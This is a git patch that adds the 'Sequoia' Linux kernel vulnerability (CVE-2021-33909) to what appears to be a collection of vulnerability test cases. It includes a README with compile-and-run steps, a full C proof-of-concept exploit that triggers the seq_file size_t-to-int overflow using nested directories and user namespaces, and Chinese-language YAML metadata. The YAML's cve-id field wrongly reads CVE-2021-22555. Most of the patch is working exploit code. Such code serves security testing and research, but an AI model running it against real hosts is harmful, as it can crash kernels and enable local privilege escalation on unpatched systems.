From fbc2532056048baf3529db49561bbb2ed506081c Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Tue, 1 Nov 2022 15:22:05 +0800 Subject: [PATCH] ADD CVE-2021-33909 --- .../2021/CVE-2021-33909/README.md | 16 ++ .../2021/CVE-2021-33909/exploit.c | 237 ++++++++++++++++++ .../2021/yaml/CVE-2021-33909.yaml | 18 ++ other_list.yaml | 1 + 4 files changed, 272 insertions(+) create mode 100644 cve/linux-kernel/2021/CVE-2021-33909/README.md create mode 100644 cve/linux-kernel/2021/CVE-2021-33909/exploit.c create mode 100644 cve/linux-kernel/2021/yaml/CVE-2021-33909.yaml diff --git a/cve/linux-kernel/2021/CVE-2021-33909/README.md b/cve/linux-kernel/2021/CVE-2021-33909/README.md new file mode 100644 index 00000000..a09d42e5 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-33909/README.md @@ -0,0 +1,16 @@ +# Sequoia (CVE-2021-33909) +## Building +```shell +gcc exploit.c -o exploit +``` +## Running +```shell +chmod +x exploit +./exploit +``` +## One-Liner +```shell +gcc exploit.c -o exploit;chmod +x exploit;./exploit +``` +## Credits +https://blog.qualys.com/vulnerabilities-threat-research/2021/07/20/sequoia-a-local-privilege-escalation-vulnerability-in-linuxs-filesystem-layer-cve-2021-33909 diff --git a/cve/linux-kernel/2021/CVE-2021-33909/exploit.c b/cve/linux-kernel/2021/CVE-2021-33909/exploit.c new file mode 100644 index 00000000..b569549b --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-33909/exploit.c @@ -0,0 +1,237 @@ +/* + * CVE-2021-33909: size_t-to-int vulnerability in Linux's filesystem layer + * Copyright (C) 2021 Qualys, Inc. + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PAGE_SIZE (4096) + +#define die() do { \ + fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ + exit(EXIT_FAILURE); \ +} while (0) + +static void +send_recv_state(const int sock, const char * const sstate, const char rstate) +{ + if (sstate) { + if (send(sock, sstate, 1, MSG_NOSIGNAL) != 1) die(); + } + if (rstate) { + char state = 0; + if (read(sock, &state, 1) != 1) die(); + if (state != rstate) die(); + } +} + +static const char * bigdir; +static char onedir[NAME_MAX + 1]; + +typedef struct { + pid_t pid; + int socks[2]; + size_t count; + int delete; +} t_userns; + +static int +userns_fn(void * const arg) +{ + if (!arg) die(); + const t_userns * const userns = arg; + const int sock = userns->socks[1]; + if (close(userns->socks[0])) die(); + + send_recv_state(sock, NULL, 'A'); + + size_t n; + if (chdir(bigdir)) die(); + for (n = 0; n <= userns->count / (1 + (sizeof(onedir)-1) * 4); n++) { + if (chdir(onedir)) die(); + } + char device[] = "./device.XXXXXX"; + if (!mkdtemp(device)) die(); + char mpoint[] = "/tmp/mpoint.XXXXXX"; + if (!mkdtemp(mpoint)) die(); + if (mount(device, mpoint, NULL, MS_BIND, NULL)) die(); + + if (userns->delete) { + if (rmdir(device)) die(); + } + if (chdir("/")) die(); + + send_recv_state(sock, "B", 'C'); + + const int fd = open("/proc/self/mountinfo", O_RDONLY); + if (fd <= -1) die(); + static char buf[1UL << 20]; + size_t len = 0; + for (;;) { + ssize_t nbr = read(fd, buf, 1024); + if (nbr <= 0) die(); + for (;;) { + const char * nl = memchr(buf, '\n', nbr); + if (!nl) break; + nl++; + if (memmem(buf, nl - buf, "\\134", 4)) die(); + nbr -= nl - buf; + memmove(buf, nl, nbr); + len = 0; + } + len += nbr; + if (memmem(buf, nbr, "\\134", 4)) break; + } + + send_recv_state(sock, "D", 'E'); + die(); +} + +static void +update_id_map(char * const mapping, const char * const map_file) +{ + const size_t map_len = strlen(mapping); + if (map_len >= SSIZE_MAX) die(); + if (map_len <= 0) die(); + + size_t i; + for (i = 0; i < map_len; i++) { + if (mapping[i] == ',') + mapping[i] = '\n'; + } + + const int fd = open(map_file, O_WRONLY); + if (fd <= -1) die(); + if (write(fd, mapping, map_len) != (ssize_t)map_len) die(); + if (close(fd)) die(); +} + +static void +proc_setgroups_write(const pid_t child_pid, const char * const str) +{ + const size_t str_len = strlen(str); + if (str_len >= SSIZE_MAX) die(); + if (str_len <= 0) die(); + + char setgroups_path[64]; + snprintf(setgroups_path, sizeof(setgroups_path), "/proc/%ld/setgroups", (long)child_pid); + + const int fd = open(setgroups_path, O_WRONLY); + if (fd <= -1) { + if (fd != -1) die(); + if (errno != ENOENT) die(); + return; + } + if (write(fd, str, str_len) != (ssize_t)str_len) die(); + if (close(fd)) die(); +} + +static void +fork_userns(t_userns * const userns, const size_t size, const int delete) +{ + static const size_t stack_size = (1UL << 20) + 2 * PAGE_SIZE; + static char * stack = NULL; + if (!stack) { + stack = mmap(NULL, stack_size, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (!stack || stack == MAP_FAILED) die(); + if (mprotect(stack + PAGE_SIZE, stack_size - 2 * PAGE_SIZE, PROT_READ | PROT_WRITE)) die(); + } + + if (!userns) die(); + userns->count = size / 2; + userns->delete = delete; + + if (socketpair(AF_UNIX, SOCK_STREAM, 0, userns->socks)) die(); + userns->pid = clone(userns_fn, stack + stack_size - PAGE_SIZE, CLONE_NEWUSER | CLONE_NEWNS | SIGCHLD, userns); + if (userns->pid <= -1) die(); + if (close(userns->socks[1])) die(); + userns->socks[1] = -1; + + char map_path[64], map_buf[64]; + snprintf(map_path, sizeof(map_path), "/proc/%ld/uid_map", (long)userns->pid); + snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getuid()); + update_id_map(map_buf, map_path); + + proc_setgroups_write(userns->pid, "deny"); + snprintf(map_path, sizeof(map_path), "/proc/%ld/gid_map", (long)userns->pid); + snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getgid()); + update_id_map(map_buf, map_path); + + send_recv_state(*userns->socks, "A", 'B'); +} + +static void +wait_userns(t_userns * const userns) +{ + if (!userns) die(); + if (kill(userns->pid, SIGKILL)) die(); + + int status = 0; + if (waitpid(userns->pid, &status, 0) != userns->pid) die(); + userns->pid = -1; + if (!WIFSIGNALED(status)) die(); + if (WTERMSIG(status) != SIGKILL) die(); + + if (close(*userns->socks)) die(); + *userns->socks = -1; +} + +int +main(const int argc, const char * const argv[]) +{ + if (argc != 2) die(); + bigdir = argv[1]; + if (*bigdir != '/') die(); + + if (sizeof(onedir) != 256) die(); + memset(onedir, '\\', sizeof(onedir)-1); + if (onedir[sizeof(onedir)-1] != '\0') die(); + + puts("creating directories, please wait..."); + if (mkdir(bigdir, S_IRWXU) && errno != EEXIST) die(); + if (chdir(bigdir)) die(); + size_t i; + for (i = 0; i <= (1UL << 30) / (1 + (sizeof(onedir)-1) * 4); i++) { + if (mkdir(onedir, S_IRWXU) && errno != EEXIST) die(); + if (chdir(onedir)) die(); + } + if (chdir("/")) die(); + + static t_userns userns; + fork_userns(&userns, (1UL << 31), 1); + puts("crashing..."); + send_recv_state(*userns.socks, "C", 'D'); + wait_userns(&userns); + die(); +} diff --git a/cve/linux-kernel/2021/yaml/CVE-2021-33909.yaml b/cve/linux-kernel/2021/yaml/CVE-2021-33909.yaml new file mode 100644 index 00000000..f58af1c4 --- /dev/null +++ b/cve/linux-kernel/2021/yaml/CVE-2021-33909.yaml @@ -0,0 +1,18 @@ +id: CVE-2021-33909 +source: https://github.com/Liang2580/CVE-2021-33909 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + Qualys研究团队披露了Linux 内核文件系统层中的一个本地提权漏洞(CVE-2021-33909,也称为Sequoia),该漏洞为Linux 内核的seq_file 接口存在size_t-to-int 类型转换漏洞,由于fs/seq_file.c 没有正确限制 seq 缓冲区分配,从而导致整数溢出、越界写入以及权限提升。任意用户权限的攻击者都可以在默认配置中利用此漏洞,从而获得受影响主机的root权限。 + scope-of-influence: + 3.16 <= Linux kernel < 5.13.4 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-33909 + - https://www.openwall.com/lists/oss-security/2021/07/20/1 + - https://github.com/torvalds/linux/commit/8cae8cd89f05f6de223d63e6d15e31c8ba9cf53b + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2021-22555 + cwe-id: CWE-120 + tags: cve2021,权限提升 \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index a37aa599..3bb29fe3 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -1,6 +1,7 @@ #此收录漏洞列表为非openKylin发行版用例。 cve: linux-kernel: + - CVE-2021-33909 - CVE-2022-0995 - CVE-2022-1015 polkit: -- Gitee